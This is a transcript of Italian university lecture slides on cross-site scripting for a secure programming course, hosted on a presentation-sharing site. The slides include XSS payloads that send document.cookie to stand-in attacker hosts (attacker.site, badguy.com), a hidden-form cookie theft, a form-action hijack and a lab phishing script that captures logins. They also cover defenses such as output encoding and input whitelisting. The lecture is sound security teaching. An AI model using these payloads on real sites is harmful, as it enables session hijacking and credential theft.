1 / 31

Cross Site Scripting

Cross Site Scripting. Prof. Stefano Bistarelli. C Consiglio Nazionale delle Ricerche Iit Istituto di Informatica e Telematica - Pisa. Università “G. d’Annunzio” Dipartimento di Scienze, Pescara. Cos' è il CSS?. Una tecnica che consente agli hacker di:

eliana-odom
Download Presentation

Cross Site Scripting

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Cross Site Scripting Prof. Stefano Bistarelli CConsiglio Nazionale delle Ricerche IitIstituto di Informatica e Telematica - Pisa Università “G. d’Annunzio”Dipartimento di Scienze, Pescara

  2. Cos'èilCSS? • Unatecnicacheconsenteaglihackerdi: • Eseguire script dannoso nel browser Web di un client • Inserire tag <script>, <object>, <applet>, <form> e <embed> • Rubare informazioni sulla sessione Web e cookie di autenticazione • Accedere al computer client QualsiasipaginaWebcheesegueilrenderingHTMLecontenenteinputdell'utenteèvulnerabile S. Bistarelli - Metodologie di Secure Programming

  3. [7] utilizzo del token rubato per autenticarsi al servizio [1] Richiesta [3] Invio malicious code mascherato da informativa della banca [6] Internet Internet [4] www.my-banca.it/VulnApp.jsp?e=<script “malizioso”> [6] Invio di token di autenticazione all’attaccante [5] Risposta: pagina voluta dall’attaccante eseguita sul browser dell’utente A.4: Principi di Cross-Site-Scripting (XSS) Attacker [2] Risposta DataBase Web server www.my-banca.it App. server WebApp vulnerabile al XSS user S. Bistarelli - Metodologie di Secure Programming

  4. A.4: Cross-Site-Scripting (2) • GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0 • Host: www.my-banca.it • ... • La risposta del sito vulnerabile sarà la seguente (interpretata sul browser dell’utente ignaro): • <HTML> • <Title>Welcome!</Title> • Hi <script>alert(document.cookie)</script> • <BR> Welcome to our system • ... • </HTML> S. Bistarelli - Metodologie di Secure Programming

  5. A.4: Cross-Site-Scripting (3) • Il malicious link può essere: • http://www.my-banca.it/welcome.cgi?name=<script>window.open(“http://www.attacker.site/collect.cgi?cookie=”%2Bdocument.cookie)</script> • La risposta del server sarà: • <HTML> • <Title>Welcome!</Title> • Hi • <script>window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.cookie)</script> • <BR>Welcome to our system • ... • </HTML> Redirezione del contenuto del cookie dell’utente ignaro verso il server dell’attaccante S. Bistarelli - Metodologie di Secure Programming

  6. DueimpieghicomunidelCSS • AttaccarelepiattaformedipostaelettronicabasatesulWebei forum • Utilizzo dei tag <form> HTML per reindirizzare informazioni private S. Bistarelli - Metodologie di Secure Programming

  7. Attacchibasatisuform(1di2) Response.Write("Welcome"& Request.QueryString("UserName")) S. Bistarelli - Metodologie di Secure Programming

  8. Site soggetti a XSS/CSS • Vediamo l’esempio • http://localhost/CrossScripting/Login.aspx S. Bistarelli - Metodologie di Secure Programming

  9. Proviamo.. • Iniettiamo codice e vediamo che succede • … • <script>alert(‘ciao’)</script> • <script>alert(document.cookie)</script> • Script eseguito sul mio browser … • Ma come faccio io attaccante che non sono su macchina del client .. a prendermi il cookie?? • …cerco il campo di input … • txtname S. Bistarelli - Metodologie di Secure Programming

  10. E se chiamo la pagina cosi’? • http://localhost/CrossScripting/Login.aspx?txtname=<script>alert('ciao')</script> • Funziona lo stesso!! • Quindi se mando link a Maria e lei clicca esegue sul suo browser (credendo di andare al suo sito) il mio script!! S. Bistarelli - Metodologie di Secure Programming

  11. Attacchibasatisuform(1di2) Response.Write("Welcome"& Request.QueryString("UserName")) S. Bistarelli - Metodologie di Secure Programming

  12. • Ma come faccio io attaccante ad avere le info sul mio sito e non sullo schermo di Maria?? S. Bistarelli - Metodologie di Secure Programming

  13. Attacchibasatisuform(2di2) <ahref=http://www.contoso.msft/welcome.asp?name=<FORMaction=http://www.nwtraders.msft/data.aspmethod=postid=“idForm”><INPUTname=“cookie”type=“hidden”></FORM><SCRIPT>idForm.cookie.value=document.cookie;idForm.submit();</SCRIPT>> here </a> S. Bistarelli - Metodologie di Secure Programming

  14. <script> • window.onload = function() • { • document.forms[0].onsubmit = function () • { • return Hack() • } • } • function Hack() • { • var action="http://localhost/Hack/Hack.asp"; • document.forms[0].action=action;document.forms[0].method="GET"; • return true; • } • </script> S. Bistarelli - Metodologie di Secure Programming

  15. In generale … • Se ho input di questo tipo: • http://victim.com/search.php ? term = apple • search.php responds with: • <HTML> <TITLE> Search Results </TITLE> • <BODY> • Results for <?php echo $_GET[term] ?> : • . . . • </BODY> </HTML> S. Bistarelli - Metodologie di Secure Programming

  16. Posso usarlo cosi!! • http://victim.com/search.php ? term = • <script> window.open( • “http://badguy.com?cookie = ” + • document.cookie ) </script> • Se la mia vittima clicca su questo link? • Browser va a victim.com/search.php • Victim.com restituisce • <HTML> Results for <script> … </script> • Browser executes script: • Sends badguy.com cookie for victim.com S. Bistarelli - Metodologie di Secure Programming

  17. So what? • Perche’ un utente dovrebbe cliccare su quel link? • Phishing email in webmail client (e.g. gmail). • Link in doubleclick banner ad • … many many ways to fool user into clicking • Vedi esempio mail poste.it!! • Cosa ci fa badguy.com con il cookie di victim.com ? • Puo’ essere usato per spacciarsi per quell’utente per esempio!! (vedi lezione su cookies!!) S. Bistarelli - Metodologie di Secure Programming

  18. Even worse • Attacker can execute arbitrary scripts in browser • Can manipulate any DOM component on victim.com • Control links on page • Control form fields (e.g. password field) on this page and linked pages. • Can infect other users: MySpace.com worm. S. Bistarelli - Metodologie di Secure Programming

  19. Difesa … S. Bistarelli - Metodologie di Secure Programming

  20. Avoiding XSS bugs (PHP) • Main problem: • Input checking is difficult --- many ways to inject scripts into HTML. • Preprocess input from user before echoing it • PHP: htmlspecialchars(string) • &  &amp; "  &quot; '  &#039; <  &lt; >  &gt; • htmlspecialchars( "<a href='test'>Test</a>", ENT_QUOTES); • Outputs: &lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt; S. Bistarelli - Metodologie di Secure Programming

  21. Avoiding XSS bugs (ASP.NET) • ASP.NET 1.1: • Server.HtmlEncode(string) • Similar to PHP htmlspecialchars • validateRequest: (on by default) • Crashes page if finds <script> in POST data. • Looks for hardcoded list of patterns. • Can be disabled: • <%@ Page validateRequest=“false"  %> S. Bistarelli - Metodologie di Secure Programming

  22. S. Bistarelli - Metodologie di Secure Programming

  23. Esercizio lab S. Bistarelli - Metodologie di Secure Programming

  24. esercizio • In this scenario, you have a web application that supports both anonymous and authenticated users, the latter of which are authenticated using ASP.NET Forms logon. The application is a message board which allows any user to post a message that all others can read. S. Bistarelli - Metodologie di Secure Programming

  25. Giochiamo con l’applicazione • 2 utenti registrati (hard coded (no db)) • alice – password • bob – password • Entriamo come alice e inviamo un messaggio • NO HTML • Ora entriamo come black hat (anonimo) e vediamo se supporta XSS  • Si!! S. Bistarelli - Metodologie di Secure Programming

  26. Postiamo questo codice!! • <h2>Wow, this site has a nasty XSS vulnerability!</h2> • <input type='button' value='Click me for a laugh!' onclick='changePersonality()'/> • <h2>I wonder if I can see your cookie with this script?</h2> • <input type='button' value='Click to see your cookie!' onclick='alert(document.cookie)'/> • <h2>Hey, would you post your cookie to my website please?</h2> • <input type='button' value='Click to POST your cookie!' onclick='alert("Just kidding, but keep in mind that a real attacker would not ask before doing this!")'/> • <script> • function changePersonality() { • var image = document.images[0] • if (image.src.match('google')) { • // switch back to Fabrikam • image.src = 'art/Fabrikam.gif'; • } • else { • // switch to Google • image.src = 'http://www.google.com/intl/en/images/logo.gif'; • } • } • </script> S. Bistarelli - Metodologie di Secure Programming

  27. Ora immaginiamo .. • Che alice entri e veda il codice … • Alice non lo sa ma: • Attaccante ha controllo completo della pagina • (vedi come cambia immagine) • Attaccante puo’ rubare informazioni da alice (o meglio per ora le visualizza e basta, ma potrebbe facilmente reindirizzarle (ricordatevi esempi precedenti) • Visualizza cookies S. Bistarelli - Metodologie di Secure Programming

  28. Difesa • Usare htmlencode su testo output! • text = Server.HtmlEncode(r.ReadToEnd()); • Filtra input • // filter the input using a whitelist - look for what is good! string pattern = @"^[-\s\w\d.,!@#%&?*()+=|{}[\]:;/^$\\""']*$"; if (!Regex.IsMatch(text, pattern, RegexOptions.Multiline)) { string errorMessage = "Your post has one or more disallowed " + "characters (no HTML, please)."; Response.Redirect(@"~\error.aspx?msg=" + Server.UrlEncode(errorMessage)); return; } • Sembra tutto a posto ora?? • E invece no chi sa perchè? S. Bistarelli - Metodologie di Secure Programming

  29. XSS su error page • Error chiamata con un parametro di input!! • Proviamo a cambiare input! • “ciao a tutti”  funziona!! • Posso modificare la pagina come voglio!! • Phishing attack!! • lab-css\CrossSiteScripting\before\XSSWeb\phishing_email.htm • Il link nella pagina porta alla pagina di errore opportunamente modificata!! S. Bistarelli - Metodologie di Secure Programming

  30. Ecco il messaggio per la pag di errore • var html = "Please log in. You will be automatically registered for a free gift!" + • "<script>" + • "var u, p;" + • "function myLogon() {" + • "u = document.getElementById('ctl00$LoginView1$Login1$UserName').value;" + • "p = document.getElementById('ctl00$LoginView1$Login1$Password').value;" + • "}" + • "function thanks() { " + • "var msg = 'Your gift will be shipped within 7 business days. Thanks again for your loyalty! " + • "Oh and by the way, I learned something about you today. " + • "Your user name is: ' %2B u %2B ' and your password is: ' %2B p;" + • "document.getElementById('ctl00_MainBody_message').innerText=msg;" + • "}" + • "document.getElementById('ctl00_lblFormTitle').lastChild.nodeValue='Loyalty Gift';" + • "document.getElementById('ctl00_lblPageTitle').lastChild.nodeValue='Loyalty Gift';" + • "document.getElementById('ctl00$LoginView1$Login1$LoginButton').onclick = myLogon;" + • "document.forms[0].action = 'javascript:thanks()';" + • "<\/script>"; S. Bistarelli - Metodologie di Secure Programming

  31. Fix la pagina error! • Su error page • Htmlencode input • message.Text = Server.HtmlEncode(Request.QueryString["msg"]); • Nota su web.config • <pages validateRequest="false"/> trrue S. Bistarelli - Metodologie di Secure Programming

More Related